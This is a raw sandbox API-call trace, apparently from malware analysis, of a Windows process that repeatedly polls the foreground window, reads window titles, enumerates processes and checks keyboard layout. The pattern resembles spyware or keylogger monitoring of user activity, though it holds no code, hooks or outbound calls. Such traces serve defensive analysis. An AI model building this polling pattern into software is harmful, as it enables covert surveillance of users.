[0193.451] EnumProcesses (in: lpidProcess=0x248f12c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248f12c, lpcbNeeded=0x4f8f87c) returned 1
[0193.451] GetLastError () returned 0x0
[0193.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523040, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523040, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0193.454] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0193.454] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.513] GetForegroundWindow () returned 0x101a2
[0193.513] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.575] GetForegroundWindow () returned 0x101a2
[0193.576] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.638] GetForegroundWindow () returned 0x101a2
[0193.638] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.700] GetForegroundWindow () returned 0x100f6
[0193.701] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0193.701] EnumProcesses (in: lpidProcess=0x24a55c0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a55c0, lpcbNeeded=0x4f8f87c) returned 1
[0193.701] GetLastError () returned 0x0
[0193.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563080, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563080, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0193.704] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0193.704] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0193.763] GetForegroundWindow () returned 0x101a2
[0193.763] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0193.763] EnumProcesses (in: lpidProcess=0x24b700c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b700c, lpcbNeeded=0x4f8f87c) returned 1
[0193.763] GetLastError () returned 0x0
[0193.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35830a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35830a0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0193.767] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0193.767] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.825] GetForegroundWindow () returned 0x101a2
[0193.825] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.887] GetForegroundWindow () returned 0x101a2
[0193.888] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0193.950] GetForegroundWindow () returned 0x101a2
[0193.950] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0194.012] GetForegroundWindow () returned 0x100f6
[0194.012] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0194.012] EnumProcesses (in: lpidProcess=0x24c92f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c92f4, lpcbNeeded=0x4f8f87c) returned 1
[0194.013] GetLastError () returned 0x0
[0194.013] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30c0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0194.017] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0194.017] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0195.604] GetForegroundWindow () returned 0x101a2
[0195.604] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.728] GetForegroundWindow () returned 0x101a2
[0195.728] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0195.728] EnumProcesses (in: lpidProcess=0x23e083c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23e083c, lpcbNeeded=0x4f8f87c) returned 1
[0195.729] GetLastError () returned 0x0
[0195.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0195.733] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0195.733] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.791] GetForegroundWindow () returned 0x101a2
[0195.791] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.853] GetForegroundWindow () returned 0x101a2
[0195.853] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0195.916] GetForegroundWindow () returned 0x100f6
[0195.916] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0195.916] EnumProcesses (in: lpidProcess=0x23f29ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f29ec, lpcbNeeded=0x4f8f87c) returned 1
[0195.916] GetLastError () returned 0x0
[0195.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0195.921] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0195.921] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0195.979] GetForegroundWindow () returned 0x101a2
[0195.979] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0195.979] EnumProcesses (in: lpidProcess=0x24045e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24045e8, lpcbNeeded=0x4f8f87c) returned 1
[0195.980] GetLastError () returned 0x0
[0195.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0195.984] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0195.984] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.040] GetForegroundWindow () returned 0x101a2
[0196.040] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.103] GetForegroundWindow () returned 0x101a2
[0196.103] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.165] GetForegroundWindow () returned 0x101a2
[0196.165] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.229] GetForegroundWindow () returned 0x100f6
[0196.230] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0196.230] EnumProcesses (in: lpidProcess=0x24169ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24169ec, lpcbNeeded=0x4f8f87c) returned 1
[0196.230] GetLastError () returned 0x0
[0196.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0196.234] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0196.234] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0196.290] GetForegroundWindow () returned 0x101a2
[0196.290] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0196.290] EnumProcesses (in: lpidProcess=0x24285e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24285e8, lpcbNeeded=0x4f8f87c) returned 1
[0196.291] GetLastError () returned 0x0
[0196.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0196.295] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0196.295] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.352] GetForegroundWindow () returned 0x101a2
[0196.352] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.415] GetForegroundWindow () returned 0x101a2
[0196.415] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.477] GetForegroundWindow () returned 0x101a2
[0196.477] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.540] GetForegroundWindow () returned 0x100f6
[0196.540] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0196.540] EnumProcesses (in: lpidProcess=0x243a9ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x243a9ec, lpcbNeeded=0x4f8f87c) returned 1
[0196.540] GetLastError () returned 0x0
[0196.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0196.544] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0196.544] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0196.602] GetForegroundWindow () returned 0x101a2
[0196.602] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0196.602] EnumProcesses (in: lpidProcess=0x244c5e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x244c5e8, lpcbNeeded=0x4f8f87c) returned 1
[0196.602] GetLastError () returned 0x0
[0196.603] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0196.606] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0196.606] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.664] GetForegroundWindow () returned 0x101a2
[0196.664] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.727] GetForegroundWindow () returned 0x101a2
[0196.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.789] GetForegroundWindow () returned 0x101a2
[0196.789] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.857] GetForegroundWindow () returned 0x100f6
[0196.857] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0196.857] EnumProcesses (in: lpidProcess=0x245e9ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245e9ec, lpcbNeeded=0x4f8f87c) returned 1
[0196.857] GetLastError () returned 0x0
[0196.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0196.861] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0196.861] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0196.914] GetForegroundWindow () returned 0x101a2
[0196.914] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0196.914] EnumProcesses (in: lpidProcess=0x24705e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24705e8, lpcbNeeded=0x4f8f87c) returned 1
[0196.914] GetLastError () returned 0x0
[0196.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0196.918] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0196.918] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0196.976] GetForegroundWindow () returned 0x101a2
[0196.976] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.039] GetForegroundWindow () returned 0x101a2
[0197.039] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.101] GetForegroundWindow () returned 0x101a2
[0197.101] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.163] GetForegroundWindow () returned 0x100f6
[0197.164] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0197.164] EnumProcesses (in: lpidProcess=0x2482a40, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2482a40, lpcbNeeded=0x4f8f87c) returned 1
[0197.164] GetLastError () returned 0x0
[0197.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0197.169] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0197.169] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0197.226] GetForegroundWindow () returned 0x101a2
[0197.226] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0197.226] EnumProcesses (in: lpidProcess=0x249463c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249463c, lpcbNeeded=0x4f8f87c) returned 1
[0197.226] GetLastError () returned 0x0
[0197.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0197.230] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0197.230] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.288] GetForegroundWindow () returned 0x101a2
[0197.288] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.351] GetForegroundWindow () returned 0x101a2
[0197.351] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.413] GetForegroundWindow () returned 0x101a2
[0197.413] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.476] GetForegroundWindow () returned 0x100f6
[0197.476] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0197.476] EnumProcesses (in: lpidProcess=0x24a6ea0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a6ea0, lpcbNeeded=0x4f8f87c) returned 1
[0197.476] GetLastError () returned 0x0
[0197.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0197.480] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0197.480] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0197.542] GetForegroundWindow () returned 0x101a2
[0197.542] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0197.543] EnumProcesses (in: lpidProcess=0x24b8a9c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b8a9c, lpcbNeeded=0x4f8f87c) returned 1
[0197.543] GetLastError () returned 0x0
[0197.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0197.547] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0197.548] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.603] GetForegroundWindow () returned 0x101a2
[0197.603] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.663] GetForegroundWindow () returned 0x101a2
[0197.663] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.725] GetForegroundWindow () returned 0x101a2
[0197.726] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.787] GetForegroundWindow () returned 0x100f6
[0197.787] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0197.788] EnumProcesses (in: lpidProcess=0x24caea0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24caea0, lpcbNeeded=0x4f8f87c) returned 1
[0197.788] GetLastError () returned 0x0
[0197.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0197.791] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0197.791] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0197.850] GetForegroundWindow () returned 0x101a2
[0197.850] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0197.850] EnumProcesses (in: lpidProcess=0x24dcb98, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24dcb98, lpcbNeeded=0x4f8f87c) returned 1
[0197.850] GetLastError () returned 0x0
[0197.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0197.854] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0197.854] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.912] GetForegroundWindow () returned 0x101a2
[0197.912] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0197.975] GetForegroundWindow () returned 0x101a2
[0197.975] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.037] GetForegroundWindow () returned 0x101a2
[0198.037] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.099] GetForegroundWindow () returned 0x100f6
[0198.099] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0198.100] EnumProcesses (in: lpidProcess=0x24eeff0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24eeff0, lpcbNeeded=0x4f8f87c) returned 1
[0198.100] GetLastError () returned 0x0
[0198.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0198.103] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0198.103] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0198.162] GetForegroundWindow () returned 0x101a2
[0198.162] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0198.162] EnumProcesses (in: lpidProcess=0x2500bec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2500bec, lpcbNeeded=0x4f8f87c) returned 1
[0198.162] GetLastError () returned 0x0
[0198.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0198.165] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0198.166] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.224] GetForegroundWindow () returned 0x101a2
[0198.224] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.287] GetForegroundWindow () returned 0x101a2
[0198.287] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.349] GetForegroundWindow () returned 0x101a2
[0198.349] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.411] GetForegroundWindow () returned 0x100f6
[0198.411] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0198.412] EnumProcesses (in: lpidProcess=0x2512ff0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2512ff0, lpcbNeeded=0x4f8f87c) returned 1
[0198.412] GetLastError () returned 0x0
[0198.412] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3643150, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3643150, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0198.415] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0198.415] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0198.474] GetForegroundWindow () returned 0x101a2
[0198.474] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0198.474] EnumProcesses (in: lpidProcess=0x2524bec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2524bec, lpcbNeeded=0x4f8f87c) returned 1
[0198.475] GetLastError () returned 0x0
[0198.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0198.488] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0198.488] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.539] GetForegroundWindow () returned 0x101a2
[0198.539] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.599] GetForegroundWindow () returned 0x101a2
[0198.599] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.661] GetForegroundWindow () returned 0x101a2
[0198.661] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.723] GetForegroundWindow () returned 0x100f6
[0198.723] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0198.723] EnumProcesses (in: lpidProcess=0x2385d24, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2385d24, lpcbNeeded=0x4f8f87c) returned 1
[0198.724] GetLastError () returned 0x0
[0198.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0198.728] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0198.728] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0198.786] GetForegroundWindow () returned 0x101a2
[0198.786] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0198.786] EnumProcesses (in: lpidProcess=0x2397920, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2397920, lpcbNeeded=0x4f8f87c) returned 1
[0198.786] GetLastError () returned 0x0
[0198.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0198.790] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0198.790] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.848] GetForegroundWindow () returned 0x101a2
[0198.848] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.911] GetForegroundWindow () returned 0x101a2
[0198.911] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0198.973] GetForegroundWindow () returned 0x101a2
[0198.973] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.035] GetForegroundWindow () returned 0x100f6
[0199.035] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0199.035] EnumProcesses (in: lpidProcess=0x23a9d78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a9d78, lpcbNeeded=0x4f8f87c) returned 1
[0199.036] GetLastError () returned 0x0
[0199.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0199.040] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0199.040] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0199.098] GetForegroundWindow () returned 0x101a2
